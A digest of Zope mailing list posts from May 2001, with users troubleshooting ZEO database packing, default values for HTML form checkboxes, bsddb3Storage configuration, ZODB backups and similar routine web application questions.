works fine... but when i want to pack it, it doesn't work... and what is >the file size limit of zope/zeo... is it true that it only runs below 2GB... >that when it reaches 2GB it will stop working... > in what way does it not work? when you pack, zss will do the processing, instead of the ZC. checkout top just after you pack. also, after a few secs/minutes, you''ll see that the database is packed. this caught me initially too >please help... thanks. > >Fritz Mesedilla >Systems Administrator > >"Ooops! Save your work, everyone. FAST!" >--------------------------------------------------------------------------- - >Summit Interactive, Inc. > >http://www.femalenetwork.com | http://www.candymag.com >http://www.fhm.com.ph | http://www.cosmo.com.ph > >FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping >--------------------------------------------------------------------------- - >email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm >http://www.fritzmesedilla.net and http://www.fritz.iscute.com >--------------------------------------------------------------------------- - >+Basta Ikaw Lord > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From jferrer@germinus.com Mon May 7 14:06:00 2001 From: jferrer@germinus.com (Jorge Ferrer) Date: Mon, 7 May 2001 15:06:00 +0200 Subject: [Zope] Problem migrating a producto to Zope 2.3 In-Reply-To: <3AF2BE63.649D856A@kaivo.com> References: <01050413490207.05680@escher> <3AF2BE63.649D856A@kaivo.com> Message-ID: <01050715060004.00624@escher> El Vie 04 May 2001 16:36, Casey Duncan escribi=F3: > Jorge Ferrer wrote: > > Hi all, > > > > I've developed a product for an Intranet using Zope 2.1 and I'm tryin= g to > > migrate to Zope 2.3. Almost everything han gone fine as I haven't use= d > > any advanced feature, but I have some problems with the ZClasses whic= h > > inherit from OFS:File. > > > > BTW, the product consists on a container ZClass and several other > > ZClasses which represent different types of documents. > > > > Here is what I've done: I installed Zope 2.3.1 on a new machine and > > installed my product through a distribution file placed on the produc= ts > > directory. When I make an instance of the Container ZClass everything > > goes well and I can even make instances of some of the other ZClasses. > > But everytime I try to make an instance of a ZClass which holds a fil= e > > (by inheriting from OFS:File) I get the following error: > > > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D > > Error Type: TypeError > > Error Value: unsliceable object > > [snip] > > Try upgrading to 2.3.2 there was a bug in 2.3.1 with instanciating > ZClasses that subclassed base classes that has a method for their id > (Which OFS.File does). That looks like the problem here. YES! That was the problem. With 2.3.2 everything seems to work fine. THANK YOU very much Casey, see you, Jorge From yservel@glam.ac.uk Mon May 7 14:09:25 2001 From: yservel@glam.ac.uk (servel yannick) Date: Mon, 7 May 2001 14:09:25 +0100 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... Message-ID: <2D38CAC326B2D3119B8400805F8574F538BF27@mailex1.isd.glam.ac.uk> I would like to compare (if it is possible to compare them) these server side applications. Many thanks in advance, Regards, Yannick From bortzmeyer@netaktiv.com Mon May 7 14:48:37 2001 From: bortzmeyer@netaktiv.com (Stephane Bortzmeyer) Date: Mon, 7 May 2001 15:48:37 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? Message-ID: <20010507154837.A11871@internatif.org> I made many HTML forms with Zope but now, I need checkboxes. If I try: Sugar?  Milk?
The Python Script handleForm cannot run if Milk is unchecked. This is because HTML browsers only send the value of the checkbox if it is checked. The URL sent looks like: http://progress.netaktiv.com:9673/Tests/handleForm?sugar=on&submit=Order (do note there is no Milk) and the error message is: --------- Site Error An error was encountered while publishing this resource. Invalid request The parameter, milk, was omitted from the request. Make sure to specify all required parameters, and try the request again. --------- Of course, milk is in the parameters of the Python Script, but how can I say that it is optional and should default to false? Using "milk:boolean" as its name changes nothing. Zope 2.3.2 (source release, python 1.5.2, linux2) From joe@iuveno-net.de Mon May 7 14:53:58 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Mon, 7 May 2001 15:53:58 +0200 Subject: [Zope] how can i have my content displayed in 2 different ways ? References: Message-ID: <002301c0d6fd$2fb47740$0200a8c0@iuvenonet.de> > bluepage/animals/lion > redpage/animals/lion > > can i do that ? if yes, how ? and does it work with subfolders ? Hi! Ever heard about acquisition magic? ;-) You can just have two different folders "bluepage" and "red page" that contain the different layout. Your folder hierarchy could look like that: ROOT |_ bluepage |_ redpage |_ animals |_ lion |_ elephant Then you can just do "redpage/animals/elephant"! The animals folder is acquired from the root when it is called in redpage, so this works! Joachim. From mail@peterbe.com Mon May 7 15:00:29 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Mon, 7 May 2001 16:00:29 +0200 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... References: <2D38CAC326B2D3119B8400805F8574F538BF27@mailex1.isd.glam.ac.uk> Message-ID: <027f01c0d6fe$143838c0$1c64a8c0@PBN> Technically, ZOPE is very different to the middleware options. (technically _better_ if you ask me). The really cool thing about PHP and ASP is that there's load of script kids out there to fetch for your commercial project if more resources are necessary. To take the Zope route is a big and long step. Whereas PHP or ASP are many small steps. On the one hand, the big and long step is probably longer and bigger than many small ones, but it requires long legs. >From static HTML -> ASP = Wow! >From ASP -> PHP/Coldfusion = Chock! >From PHP/Coldfusion -> Zope = Heart attack! ----- Original Message ----- From: "servel yannick" To: Sent: Monday, May 07, 2001 3:09 PM Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... > I would like to compare (if it is possible to compare them) these server > side applications. > > Many thanks in advance, > > Regards, > > > Yannick > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Mon May 7 15:08:47 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Mon, 07 May 2001 16:08:47 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <20010507154837.A11871@internatif.org> References: <20010507154837.A11871@internatif.org> Message-ID: <10312060.989251727@BUZZER> Hi Stephane, one solution is to let zope handle this. Include the following into your form: HTH Tino Wildenhain --On Montag, 7. Mai 2001 15:48 +0200 Stephane Bortzmeyer wrote: > I made many HTML forms with Zope but now, I need checkboxes. If I try: > >
> Sugar?  > Milk?
> >
> > The Python Script handleForm cannot run if Milk is unchecked. This is > because HTML browsers only send the value of the checkbox if it is > checked. The URL sent looks like: > > http://progress.netaktiv.com:9673/Tests/handleForm?sugar=on&submit=Order > > (do note there is no Milk) > > and the error message is: > > --------- > Site Error > > An error was encountered while publishing this resource. > > Invalid request The parameter, milk, was omitted from the request. > > Make sure to specify all required parameters, and try the request > again. > --------- > > Of course, milk is in the parameters of the Python Script, but how can > I say that it is optional and should default to false? Using > "milk:boolean" as its name changes nothing. > > > > Zope 2.3.2 (source release, python 1.5.2, linux2) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From bortzmeyer@netaktiv.com Mon May 7 15:19:47 2001 From: bortzmeyer@netaktiv.com (Stephane Bortzmeyer) Date: Mon, 7 May 2001 16:19:47 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <10312060.989251727@BUZZER>; from tino@wildenhain.de on Mon, May 07, 2001 at 04:08:47PM +0200 References: <20010507154837.A11871@internatif.org> <10312060.989251727@BUZZER> Message-ID: <20010507161947.A13214@internatif.org> On Mon, May 07, 2001 at 04:08:47PM +0200, Tino Wildenhain wrote a message of 64 lines which said: > one solution is to let zope handle this. Include > the following into your form: > > It works, thanks a lot. Where is it documented? ":default" is mentioned in Chapter 8 "Advanced Zope Scripting" of the Zope Book, but, even now I know the trick, I cannot find it in the book. My final solution, with conversion to boolean: Milk?
and the script: ##parameters=beverage,sugar,milk,RESPONSE ##title= ## if milk: milk = " with milk" else: milk = "" ... return "

You asked " + beverage + sugar + milk From tpassin@mitretek.org Mon May 7 15:22:44 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Mon, 7 May 2001 10:22:44 -0400 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? References: <20010507154837.A11871@internatif.org> Message-ID: <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> [Stephane Bortzmeyer] >

> Sugar?  > Milk?
> >
> > The Python Script handleForm cannot run if Milk is unchecked. This is > because HTML browsers only send the value of the checkbox if it is > checked. The URL sent looks like: > This has been discussed in this list in the last week or two - look in the archives. There are several approaches: 1) Your dtml or script can check to see if that key is in the form, and act appropriately if it is not there. 2) You can add a hidden input to the form that contains a default value for "milk", like 'no'. Your code checks for the presence of the value you will get when the box is checked. If you use method 2), name the hidden field "milk:default", then its value will be used as the default value if the checkbox is not checked. Cheers, Tom P From bortzmeyer@netaktiv.com Mon May 7 15:31:13 2001 From: bortzmeyer@netaktiv.com (Stephane Bortzmeyer) Date: Mon, 7 May 2001 16:31:13 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org>; from tpassin@mitretek.org on Mon, May 07, 2001 at 10:22:44AM -0400 References: <20010507154837.A11871@internatif.org> <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> Message-ID: <20010507163113.B13607@internatif.org> On Mon, May 07, 2001 at 10:22:44AM -0400, Thomas B. Passin wrote a message of 36 lines which said: > 1) Your dtml or script can check to see if that key is in the form, and act > appropriately if it is not there. My script cannot check because parameters are apparently tested by Zope before the first line of the script is executed. From phil.harris@zope.co.uk Tue May 8 20:31:07 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 15:31:07 -0400 Subject: [Zope] bsddb3Storage missing custom_zodb.py Message-ID: <01050815310700.04454@localhost.localdomain> The subject says it all really. Has anyone got the latest (beta2) working? If so have you got a custom_zodb.py I could take a look at? Thanks in advance. Phil From morten@thingamy.net Mon May 7 15:36:13 2001 From: morten@thingamy.net (Morten W. Petersen) Date: Mon, 7 May 2001 16:36:13 +0200 (CEST) Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <10312060.989251727@BUZZER> Message-ID: On Mon, 7 May 2001, Tino Wildenhain wrote: > Hi Stephane, > > one solution is to let zope handle this. Include > the following into your form: > > > Something like this perhaps? Yes No Cheers, Morten From marc@bowery.com Mon May 7 15:36:03 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 07 May 2001 10:36:03 -0400 Subject: [Zope] zeo database In-Reply-To: Message-ID: > the file size limit of zope/zeo... is it true that it only runs below 2GB... > that when it reaches 2GB it will stop working... Check out http://www.zope.org/Members/hathawsh/PartitionedFileStorage Also, if you run Linux kernel >= 2.4 there's no limit. From phil.harris@zope.co.uk Tue May 8 20:39:39 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Tue, 8 May 2001 15:39:39 -0400 Subject: [Zope] bsddb3Storage missing custom_zodb.py In-Reply-To: <01050815310700.04454@localhost.localdomain> References: <01050815310700.04454@localhost.localdomain> Message-ID: <01050815393901.04454@localhost.localdomain> Never mind I've figured it out. On Tuesday 08 May 2001 15:31, Phil Harris wrote: > The subject says it all really. > > Has anyone got the latest (beta2) working? If so have you got a > custom_zodb.py I could take a look at? > > Thanks in advance. > > Phil > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From marc@bowery.com Mon May 7 15:43:10 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 07 May 2001 10:43:10 -0400 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <20010507161947.A13214@internatif.org> Message-ID: ...or you could try: parameters=beverage="",sugar=0,milk=0,RESPONSE in your python script. From kedai@kedai.com.my Mon May 7 15:34:45 2001 From: kedai@kedai.com.my (Bak @ kedai) Date: Mon, 7 May 2001 22:34:45 +0800 Subject: [Zope] help! too many open files (zope-2.3.1) Message-ID: <003101c0d702$dcd92a60$625eb8ca@defaultcn> hi all i've been running zope-2.3.1 for quite some time now. everything went well. but the isp had a power failure today. and after that i kept getting too many open files, esp with access of mailhost, localfs, etc. i've increased the file-max in /proc/sys/fs/file-max. ulimit -a tells me that i can only have 1024 file open. if i restart zope, everything's ok. but the problem will appear again is this the problem? setup - zope-2.3.1 rh 6.2 zeo-0.5 thanks From chrism@digicool.com Mon May 7 15:54:58 2001 From: chrism@digicool.com (Chris McDonough) Date: Mon, 7 May 2001 10:54:58 -0400 Subject: [Zope] bsddb3Storage missing custom_zodb.py References: <01050815310700.04454@localhost.localdomain> Message-ID: <00b501c0d705$affdfb80$a8063bd0@kurtz> Hi Phil... this is for the Packless storage, but it should help a little... from Products.bsddb3Storage.Packless import Packless m = Packless env='var/bsddb3storage' Storage=m(name='PacklessBerkeleyStorage', env=env) ----- Original Message ----- From: "Phil Harris" To: Sent: Tuesday, May 08, 2001 3:31 PM Subject: [Zope] bsddb3Storage missing custom_zodb.py > The subject says it all really. > > Has anyone got the latest (beta2) working? If so have you got a > custom_zodb.py I could take a look at? > > Thanks in advance. > > Phil > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From cduncan@kaivo.com Mon May 7 15:53:57 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Mon, 07 May 2001 08:53:57 -0600 Subject: [Zope] Sorting mod.time with dtml-in? References: <15090.62937.46920.564769@lindm.dm> <3AF570BC.C72B37ED@nipltd.com> <15093.52592.578336.466582@lindm.dm> Message-ID: <3AF6B705.C47FC5AE@kaivo.com> Dieter Maurer wrote: > > Chris Withers writes: > > > The value of the "sort" attribute is a comma separated > > > sequence of field names. > > > > Is the same true for ZCatalog? > I do not think so. > > > If not, can this be used to have the same effect on ZCatalog search results or > > would the benefits of the lazy results set in a batched search be lost? > Of course, you can use "in"'s sort attribute to sort a ZCatalog > result sequence. And surely, you need to fetch the sequence > elements to sort them. > > Dieter > You can pass the sort-on or sort_on argument to a ZCatalog to do lazy sorting at query time. You can only sort on indexes however. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Mon May 7 15:57:11 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Mon, 07 May 2001 08:57:11 -0600 Subject: [Zope] Passing variable to a python script References: <01050706471600.03747@theo.home> Message-ID: <3AF6B7C7.B3E6C058@kaivo.com> Mehmet Yousouf wrote: > > Hi, > I'm trying out python scripts and can't get the variables posted from a form > accross. > I'm calling the script from a dtml method via > but keep getting "unknown variable" as the error .. it's a simple script that > adds two numbers together (x = first_number + second_number) and > first_number, second_number are from the form. The show answer method can > display both variables () > I'm using python 2 (compiled zope from source) is this the problem? if it is, > can I run python 2 with pyton 1.52? > > Regards, Mehmet > If you want them to be passed implicitly, bind the namespace to "_" in the Python script bindings tab and use _['first_number'] _['second_number'] to access them. Or, make REQUEST the sole argument of the script (it will be passed by zope implicitly) and use REQUEST.first_number, etc. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Mon May 7 16:01:45 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Mon, 07 May 2001 09:01:45 -0600 Subject: [Zope] images References: <001901c0d694$5c0c7cc0$0a01a8c0@joecopeland.net> Message-ID: <3AF6B8D9.1940ACD@kaivo.com> Joe Copeland wrote: > > How can I place an images in an "/images" folder so that they can be > acquired by my entire site. > > I've placed my images in a directory called "/images" but I can't use the > tag to access the image unless I'm in the /images > directory or beneth it. > > Is there a way I can set the source directory of all image objects so that > whenever I call upon an image by the image name Zope can find it? > > Thanks, > > Joe > Use a transparent folder: http://www.zope.org/Members/hathawsh/TransparentFolders -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From khine@btinternet.com Mon May 7 16:16:09 2001 From: khine@btinternet.com (Norman Khine) Date: Mon, 7 May 2001 16:16:09 +0100 Subject: [Zope] bsddb3Storage missing custom_zodb.py In-Reply-To: <01050815393901.04454@localhost.localdomain> Message-ID: What did you do? Thanks Norman -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Phil Harris Sent: 08 May 2001 20:40 To: zope@zope.org Subject: Re: [Zope] bsddb3Storage missing custom_zodb.py Never mind I've figured it out. On Tuesday 08 May 2001 15:31, Phil Harris wrote: > The subject says it all really. > > Has anyone got the latest (beta2) working? If so have you got a > custom_zodb.py I could take a look at? > > Thanks in advance. > > Phil > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From barry@digicool.com Mon May 7 16:14:58 2001 From: barry@digicool.com (Barry A. Warsaw) Date: Mon, 7 May 2001 11:14:58 -0400 Subject: [ZODB-Dev] Re: [Zope] bsddb3Storage missing custom_zodb.py References: <01050815310700.04454@localhost.localdomain> <00b501c0d705$affdfb80$a8063bd0@kurtz> Message-ID: <15094.48114.673875.761575@anthem.wooz.org> >>>>> "CM" == Chris McDonough writes: CM> Hi Phil... this is for the Packless storage, but it should CM> help a little... CM> from Products.bsddb3Storage.Packless import Packless | m = Packless | env='var/bsddb3storage' CM> Storage=m(name='PacklessBerkeleyStorage', env=env) | ----- Original Message ----- | From: "Phil Harris" | To: | Sent: Tuesday, May 08, 2001 3:31 PM | Subject: [Zope] bsddb3Storage missing custom_zodb.py >> The subject says it all really. Has anyone got the latest >> (beta2) working? If so have you got a custom_zodb.py I could >> take a look at? Thanks in advance. Phil There is a sample custom_zodb.py in the docs/ directory of the beta2 distribution. -Barry From alet@unice.fr Mon May 7 16:16:56 2001 From: alet@unice.fr (Jerome Alet) Date: Mon, 7 May 2001 17:16:56 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.4 devel Message-ID: Hi, for those of you who might be interested I've put a 0.4 developpment version of ZShell 0.4 online at: http://cortex.unice.fr/~jerome/zshell/ This is largely untested however, and is only for people who want to Zope (!) on the bleeding edge. It features a better look, some bug fixes, and a separation of the pseudo I/O channels stdin, stdout and stderr from the HTML output itself. It doesn't feature any new interesting command compared to 0.3 however, nor it does any security assertion, yet ! Please report any bug or comment to me, thanks in advance. Jerome Alet - alet@unice.fr From nika@kassube.de Mon May 7 16:25:50 2001 From: nika@kassube.de (Nils Kassube) Date: Mon, 7 May 2001 17:25:50 +0200 Subject: [Zope] manage_upload;manage_delete In-Reply-To: <15092.17896.604833.211231@lindm.dm>; from dieter@handshake.de on Sat, May 05, 2001 at 08:26:48PM +0200 References: <856650480@toto.iv> <15092.17896.604833.211231@lindm.dm> Message-ID: <20010507172550.D20485@kursk.kassube.de> * Dieter Maurer [2001-05-05 20:26]: > > there a method called manage_delete that delete file objects,? > Take a look at your embedded Zope help system: > > Zope Help -> API reference -> Image > ObjectManager In my Zope 2.3.2 installation's online help there's no information on how to delete objects, plus there's nothing in the Zope Book's API reference. However, if you look in the source code, you'll quickly discover manage_delObjects(). I'm a bit surprised that something as basic as deleting an object is not described in the documentation a newbie is most likely to use first. (Interestingly it's used in an example in the Zope Book, but not mentioned in the API reference.) Or should I visit an optometrist because it's in the manual but I can't see it? :-) Cheers, Nils From nika@kassube.de Mon May 7 16:51:20 2001 From: nika@kassube.de (Nils Kassube) Date: Mon, 7 May 2001 17:51:20 +0200 Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <15090.62937.46920.564769@lindm.dm>; from dieter@handshake.de on Fri, May 04, 2001 at 08:32:57PM +0200 References: <278511686@toto.iv> <15090.62937.46920.564769@lindm.dm> Message-ID: <20010507175120.E20485@kursk.kassube.de> * Dieter Maurer [2001-05-04 20:32]: > With "sort" your sort specification is constant. > You can say, sort first according to "time" then to "id". > But you cannot say, sort according to the field name currently > held in variable "sort_by". This is necessary for such > nice "sort" features found wide spread: click on a column > head and the content is sorted with respect to this column... > You would use "sort_expr=sort_by" for this. Well, you _can_ do this only using the "sort" attribute. I think a lot of folks do it the hard way, not the smart way you described, because of page 74 in the Zope Book's PDF file (Chapter 5, the File Library example). Cheers, Nils From kedai@kedai.com.my Mon May 7 16:43:46 2001 From: kedai@kedai.com.my (Bak @ kedai) Date: Mon, 7 May 2001 23:43:46 +0800 Subject: [Zope] zeo database Message-ID: <008b01c0d70c$850a5480$625eb8ca@defaultcn> -----Original Message----- From: Fritz Mesedilla To: Bak @ kedai ; zope@zope.org Date: Monday, May 07, 2001 7:40 PM Subject: RE: [Zope] zeo database >it tries to pack the database then nothing happens like a change in database >size... > >what i do now is revert back to using the local database (yes, downtime) >pack it then restore the zeo connection... > >here's what i did: >1) installed zope with threads >2) extracted zeo in /usr/local/ >3) cd /usr/local/zeo >4) cp -R /usr/local/zeo/ZEO /usr/local/zope/lib/python >5) copied custom_zodb.py to /usr/local/zope >6) edited custom_zodb.py to enable zeo >7) started zeo then zope > >i didn't do anything else on the other files. > looks about right. if you're able to see both ZEO clients, then it works. now, after packing, try do a top and see whether the ZSS is doing somethin. wait a while. see whether Data.fs is packed. >please advice if i have to do anything else. i hope to achieve this: > >1) 2 computers as zeo client >2) 1 computer as zeo server >3) i want zeo server to keep the database >4) i want the load to be on the two clients > >thanks in advance. > > > > >Fritz Mesedilla >Systems Administrator > >"Ooops! Save your work, everyone. FAST!" >--------------------------------------------------------------------------- - >Summit Interactive, Inc. > >http://www.femalenetwork.com | http://www.candymag.com >http://www.fhm.com.ph | http://www.cosmo.com.ph > >FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping >--------------------------------------------------------------------------- - >email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm >http://www.fritzmesedilla.net and http://www.fritz.iscute.com >--------------------------------------------------------------------------- - >+Basta Ikaw Lord > >-----Original Message----- >From: Bak @ kedai [mailto:kedai@kedai.com.my] >Sent: Monday, May 07, 2001 6:32 PM >To: fritz.mesedilla@summitmedia.com.ph; zope@zope.org >Subject: Re: [Zope] zeo database > > > >-----Original Message----- >From: Fritz Mesedilla >To: zope@zope.org >Date: Monday, May 07, 2001 4:10 PM >Subject: [Zope] zeo database > > >> >>i'm currently using zeo server >> >>it works fine... but when i want to pack it, it doesn't work... and what is >>the file size limit of zope/zeo... is it true that it only runs below >2GB... >>that when it reaches 2GB it will stop working... >> > >in what way does it not work? >when you pack, zss will do the processing, instead of the ZC. checkout top >just after you pack. also, after a few secs/minutes, you''ll see that the >database is packed. > >this caught me initially too >>please help... thanks. >> >>Fritz Mesedilla >>Systems Administrator >> >>"Ooops! Save your work, everyone. FAST!" >>-------------------------------------------------------------------------- - >- >>Summit Interactive, Inc. >> >>http://www.femalenetwork.com | http://www.candymag.com >>http://www.fhm.com.ph | http://www.cosmo.com.ph >> >>FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping >>-------------------------------------------------------------------------- - >- >>email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm >>http://www.fritzmesedilla.net and http://www.fritz.iscute.com >>-------------------------------------------------------------------------- - >- >>+Basta Ikaw Lord >> >> >>_______________________________________________ >>Zope maillist - Zope@zope.org >>http://lists.zope.org/mailman/listinfo/zope >>** No cross posts or HTML encoding! ** >>(Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> > From mail@peterbe.com Mon May 7 16:38:29 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Mon, 7 May 2001 17:38:29 +0200 Subject: [Zope] index_html a script, not a template Message-ID: <031901c0d70f$85854980$1c64a8c0@PBN> [1st: Sorry for crossposting, but now it actually makes sense] Under the topic: "Relying on scripts" in Jim Fultons IPC9 presentation on Presentation Templates http://www.zope.org/Members/jim/Info/IPC9/PresentationTemplates/index.htm "Maybe scripts, rather than templates will commonly be URL target." -- from http://www.zope.org/Members/jim/Info/IPC9/PresentationTemplates/text20.htm Until the last couple of days I'have always made DTML Methods or DTML Documents for everything that users type into the addressbar like "index_html" or "about". I.e. I start with a template and most likely end up in a template. It shouldn't be like that, should it, always. Because some of my templates might look like this: Recently my sites are filled with sometimes three times as many python scripts as DTML objects. And Jerome Alets Zshell really opened my eyes for loosing templates. Am I alone on using templating objects for URL-hitting objects? What are the implications (performance, scalability in terms of feature changes, etc.) of using Python Scripts or External Method instead of templates? Is there a paradigm shift with these promising Page Templates (see quote above)? Advice from people with zen?!?! Trying to see as long as possible, Peter From cpgray@library.uwaterloo.ca Mon May 7 17:06:34 2001 From: cpgray@library.uwaterloo.ca (Chris Gray) Date: Mon, 7 May 2001 12:06:34 -0400 (EDT) Subject: [Zope] Backing up ZODB Message-ID: Are there any gotchas in backing up a _live_ instance of Zope by archiving Data.fs? Will caching, ZEO, or something else make this hazardous or unreliable? Is there a way to dump ZODB instead of just copying the Data.fs file? Thanks, Chris From Oleg Broytmann Mon May 7 17:11:48 2001 From: Oleg Broytmann (Oleg Broytmann) Date: Mon, 7 May 2001 20:11:48 +0400 (MSD) Subject: [Zope] Backing up ZODB In-Reply-To: Message-ID: On Mon, 7 May 2001, Chris Gray wrote: > Are there any gotchas in backing up a _live_ instance of Zope by archiving > Data.fs? Will caching, ZEO, or something else make this hazardous or > unreliable? Is there a way to dump ZODB instead of just copying the > Data.fs file? I think it is possible just manage_exportObject: http://www.zope.org/Members/phd/remote-backup/ Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From cpgray@library.uwaterloo.ca Mon May 7 17:26:23 2001 From: cpgray@library.uwaterloo.ca (Chris Gray) Date: Mon, 7 May 2001 12:26:23 -0400 (EDT) Subject: [Zope] Backing up ZODB In-Reply-To: Message-ID: Thanks, Oleg, These scripts back up a single Zope object. If you back up the root folder this way, do you get the whole ZODB? Chris On Mon, 7 May 2001, Oleg Broytmann wrote: > On Mon, 7 May 2001, Chris Gray wrote: > > Are there any gotchas in backing up a _live_ instance of Zope by archiving > > Data.fs? Will caching, ZEO, or something else make this hazardous or > > unreliable? Is there a way to dump ZODB instead of just copying the > > Data.fs file? > > I think it is possible just manage_exportObject: > http://www.zope.org/Members/phd/remote-backup/ > > Oleg. > ---- > Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru > Programmers don't die, they just GOSUB without RETURN. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From Sven.Syld@stat.ee Mon May 7 16:27:52 2001 From: Sven.Syld@stat.ee (Sven Syld) Date: Mon, 07 May 2001 18:27:52 +0300 Subject: [Zope] Authentication for outside users Message-ID: Hello, How could I do so that only users from a certain IP address will need to = authenticate - outsiders? Others - insiders - will not. If I disable anonymous access and make new role with two users - outsider = and insider. But authentication window will pop up for both of them even = if I leave password blank. Can I automatically authenticate in DTML? Also redirecting into login screen in standard_html_header pops into my = mind. But it is ugly. And unsecure. Sven From Oleg Broytmann Mon May 7 17:31:23 2001 From: Oleg Broytmann (Oleg Broytmann) Date: Mon, 7 May 2001 20:31:23 +0400 (MSD) Subject: [Zope] Backing up ZODB In-Reply-To: Message-ID: On Mon, 7 May 2001, Chris Gray wrote: > These scripts back up a single Zope object. If you back up the root > folder this way, do you get the whole ZODB? Yes, but I heard that root of ZODB is a specail beast and people have problems importing root back into ZODB. Cannot confirm this - I really back up single object. Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jon@pcgs.freeserve.co.uk Mon May 7 17:32:26 2001 From: jon@pcgs.freeserve.co.uk (Jon Edwards) Date: Mon, 7 May 2001 17:32:26 +0100 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: Message-ID: Has there been any work on a rich-gui editor and one that is more integrated with a HTML/XML/XHTML editor outside of just using WEBDAV with Dreamweaver or something. Something where its almost like your in the same IDE to do everything - build objects in Zope, edit web content, build html files etc.??? David Kovach dave@kovach.com Jon >> Has anyone else played with Boa Constructor - http://boa-constructor.sourceforge.net/ ? It's open-source, written in Python, and already has some built-in Zope-specific editing facilities (it's a Python IDE and wxPython builder). Also does some basic HTML editing functions. Seems like it has a lot of potential, specially if more Zopistas contributed their ideas? Maybe it could be combined with some of the XML-RPC editing ideas (such as http://www.xml.com/pub/a/2000/01/xmlrpc/index.html )? Just a newbie's two-pennorth! :-) Cheers, Jon From dave@kovach.com Mon May 7 17:41:52 2001 From: dave@kovach.com (dave@kovach.com) Date: 7 May 2001 09:41:52 -0700 Subject: [Zope] Where may I find some discussions about the pros and cons of Zope vs ASP vs PHP, etc... Message-ID: <20010507164152.20048.cpmta@c000.snv.cp.net> Hi - I havent found a concise comparision between the 3... and I dont think there will be anything. At least nothing that trys to equate out php, asp, coldfusion and zope. Maybe the first 3. But, zope is a breed all its own. I come from an ASP background - and Zope marvels me nearly every day. Like 